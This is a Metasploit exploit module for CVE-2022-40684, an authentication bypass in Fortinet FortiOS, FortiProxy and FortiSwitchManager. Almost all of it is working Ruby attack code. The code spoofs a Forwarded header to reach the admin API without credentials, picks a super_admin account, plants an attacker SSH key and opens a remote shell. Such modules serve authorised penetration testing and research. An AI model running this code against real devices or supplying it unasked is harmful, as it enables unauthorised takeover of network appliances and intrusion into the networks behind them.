Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 – Authentication bypass
# Exploit Title: Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass # Date: 2022-10-10 # Exploit Author: Zach Hanley, SC # Vendor Homepage: https://www.fortinet.com # Version: 7.0.0 # Tested on: Linux # CVE : CVE-2022-40684 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH prepend Msf::Exploit::Remote::AutoCheck attr_accessor :ssh_socket def initialize(info = {}) super( update_info( info, 'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.', 'Description' => %q{ This module exploits an authentication bypass vulnerability in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API to gain access to a chosen account. And then add a SSH key to the authorized_keys file of the chosen account, allowing to login to the system with the chosen account. Successful exploitation results in remote code execution. }, 'Author' => [ 'Heyder Andrade <@HeyderAndrade>', # Metasploit module 'Zach Hanley <@hacks_zach>', # PoC ], 'References' => [ ['CVE', '2022-40684'], ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'], ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'], ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-10-10', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'FortiOS', { 'DefaultOptions' => { 'PAYLOAD' => 'generic/ssh/interact' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'ssh_interact' } } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']), OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]), OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]), OptString.new('KEY_PASS', [false, 'SSH private key password', nil]), OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]), OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true]) ] ) end def username if datastore['USERNAME'] @username ||= datastore['USERNAME'] else @username ||= detect_username end end def ssh_rport datastore['SSH_RPORT'] end def current_keys @current_keys ||= read_keys end def ssh_keygen # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8` if datastore['PRIVATE_KEY'] @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key( File.read(datastore['PRIVATE_KEY']), datastore['KEY_PASS'], datastore['PRIVATE_KEY'] ) else @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1') end end def ssh_private_key ssh_keygen.to_pem end def ssh_pubkey Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) end def authorized_keys pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost" end def fortinet_request(params = {}) send_request_cgi( { 'ctype' => 'application/json', 'agent' => 'Report Runner', 'headers' => { 'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\"" } }.merge(params) ) end def check vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}") # a normal request to the API should return a 401 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)), 'ctype' => 'application/json' }) return CheckCode::Unknown('Target did not respond to check.') unless res return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401 # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable res = fortinet_request({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/status') }) return CheckCode::Safe unless res&.code == 200 version = res.get_json_document['version'] print_good("Target is running the version #{version}, which is vulnerable.") Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock } CheckCode::Vulnerable('And SSH is running which makes it exploitable.') end def cleanup return unless ssh_socket # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method data = { "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""' } fortinet_request({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username), 'data' => data.to_json }) end def detect_username vprint_status('User auto-detection...') res = fortinet_request( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/admin') ) users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact # we prefer to use admin, but if it doesn't exist we chose a random one. if datastore['PREFER_ADMIN'] vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.") users.include?('admin') ? 'admin' : users.sample else vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.") (users - ['admin']).sample end end def add_ssh_key if current_keys.include?(authorized_keys) # then we'll remove that on cleanup print_good('Your key is already in the authorized_keys file') return end vprint_status('Adding SSH key to authorized_keys file') # Adding the SSH key as the last entry in the authorized_keys file keystoadd = current_keys.first(2) + [authorized_keys] data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h res = fortinet_request({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username), 'data' => data.to_json }) fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500 body = res.get_json_document fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/ end def read_keys vprint_status('Reading SSH key from authorized_keys file') res = fortinet_request({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/system/admin/', username) }) fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200 result = res.get_json_document['results'].first ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key| result[key].gsub('"', '') unless result[key].empty? end.compact end def do_login(ssh_options) # ensure we don't have a stale socket hanging around ssh_options[:proxy].proxies = nil if ssh_options[:proxy] begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do self.ssh_socket = Net::SSH.start(rhost, username, ssh_options) end rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, 'Failed authentication') rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket end def exploit print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}") add_ssh_key vprint_status('Establishing SSH connection') ssh_options = ssh_client_defaults.merge({ auth_methods: ['publickey'], key_data: [ ssh_private_key ], port: ssh_rport }) ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] do_login(ssh_options) handler(ssh_socket) end end |